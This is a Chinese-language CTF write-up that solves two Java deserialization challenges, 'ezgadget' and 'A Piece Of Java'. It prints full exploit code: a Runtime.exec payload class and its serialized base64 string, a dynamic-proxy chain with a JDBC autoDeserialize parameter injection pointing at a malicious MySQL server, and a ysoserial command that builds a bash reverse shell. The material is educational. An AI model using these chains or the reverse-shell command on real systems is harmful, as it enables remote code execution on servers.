2021东华杯 ezgadget 题目地址 一道关于Java反序列化的CTF题-东华杯ezgadget qe53
题目分析 WEB端有readobject路由,把输入的数据通过工具类解码,包装成ObjectInputStream类型,再调用readObject方法,所以这里可以作为反序列化的入口点
工具类Tools,负责base64编码、解码,序列化、反序列化
工具类ToStringBean,调用了defineClass方法,并且通过newInstance()实例化对象
看到这个我们就能想到:
动态类加载:
ToStringBean 继承自 ClassLoader,并且在 toString() 方法中使用 defineClass 动态加载由 ClassByte 指定的字节码。
反序列化触发:
在反序列化过程中会自动调用readObject() 方法。ToStringBean 实现了 Serializable 接口,只要有类的readObject()调用ToStringBean.toString()方法就可以实现代码执行。
解题过程 反序列化入口选择BadAttributeValueExpException,这是CC5的入口,它会触发toString()方法
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package com.ezgame.ctf;import com.ezgame.ctf.tools.ToStringBean;import com.ezgame.ctf.tools.Tools;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class Exp { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException { ToStringBean toStringBean = new ToStringBean (); Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte" ); classByteField.setAccessible(true ); byte [] bytes = Files.readAllBytes(Paths.get("D:\\JAVA\\EzJava\\target\\classes\\com\\ezgame\\ctf\\Payload.class" )); classByteField.set(toStringBean, bytes); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (123 ); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val" ); valField.setAccessible(true ); valField.set(badAttributeValueExpException, toStringBean); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeUTF("gadgets" ); objectOutputStream.writeInt(2021 ); objectOutputStream.writeObject(badAttributeValueExpException); byte [] byteArray = byteArrayOutputStream.toByteArray(); String s = Tools.base64Encode(byteArray); System.out.printf(s); } }
Payload 1 2 3 4 5 6 7 8 9 10 11 12 13 package com.ezgame.ctf;import java.io.IOException;public class Payload { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
序列化字符串
1 rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAGHQAEmNvbS5lemdhbWUuY3RmLkV4cHQACEV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAAJ9yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMY29tL2V6Z2FtZS9jdGYvUGF5bG9hZDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADFBheWxvYWQuamF2YQwACQAKBwAgDAAhACIBAARjYWxjDAAjACQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAlAAoBABZjb20vZXpnYW1lL2N0Zi9QYXlsb2FkAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAFAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==
Burp Ctrl+U 对序列化字符串URL编码
坑点与总结 坑点:传入参数时需要url编码,因为base64编码后存在+号,而http请求会把传参时会将+号识别为空格。base64没有空格符号,所以后端解码会报错。
这题主要考察 反序列化 、类加载 、字节码执行 ,另外组长的视频适合反复观看Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)
[羊城杯 2020]A Piece Of Java 题目地址 A Piece Of Java
题目分析 把题目的jar添加为项目库,idea就会直接反编译了,先关注路由
逻辑还是挺简单的:
/index
获取参数username、password
,将参数赋值给userinfo
对象,并将该对象序列化存储到Cookie的data中
/hello
获得cookie中的data并反序列化,并调用info.getAllInfo(),将返回的数据显示到hello.html中的info
参数
嗯?那不直接可以CC链打了么?没那么简单,接着我们看重写的deserialize方法,它其实是有限制的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?xml version="1.0" encoding="UTF-8" ?> <config > <refresh > 6000</refresh > <mode > <profiling > false</profiling > </mode > <blacklist > </blacklist > <whitelist > <regexp > gdufs\..*</regexp > <regexp > java\.lang\..*</regexp > </whitelist > </config >
可以看到白名单,也就是反序列化的目标收到了限制,只能是白名单中的包下的类才能反序列化 。
接着调用了Info接口的getAllInfo()方法,实现Info接口的有两个类UserInfo和DatabaseInfo这里UserInfo并没有什么用,我们看DatabaseInfo类,其中有checkAllInfo()方法调用了connect方法,connect()方法使用JDBC连接了数据库,这里就可以考虑JDBC反序列化,也就绕过了上面反序列化的限制。
问题是如何调用checkAllInfo()方法,题目中还给了个InfoInvocationHandler类它实现了InvocationHandler类,并且**invoke()**方法中调用了checkAllInfo()方法。
思路就有了,使用动态代理,根据动态代理的特性,代理对象调用任意方法时就会触发invoke()
方法。
调用链
1 反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class Exp { public static void main (String[] args) throws IOException { DatabaseInfo databaseinfo = new DatabaseInfo (); databaseinfo.setHost("JDBC恶意服务器地址" ); databaseinfo.setPort("JDBC恶意服务器端口" ); databaseinfo.setUsername("1" ); databaseinfo.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor" ); InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler (databaseinfo); Info info=(Info) Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(info); objectOutputStream.close(); String str=new String (Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())); System.out.println(str); } }
使用ysoserial生成反弹shell的CC链,JDBC恶意服务器可以看这篇文章小白看得懂的MySQL JDBC 反序列化漏洞分析
1 java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}" > a
坑点与总结 坑点:做题时,类的包名要和题目jar中的包名一致,不然会导致反序列化找不到类失败。
题目主要考察对动态代理 的理解和JDBC反序列化 ,推荐观看组长对动态代理的讲解Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)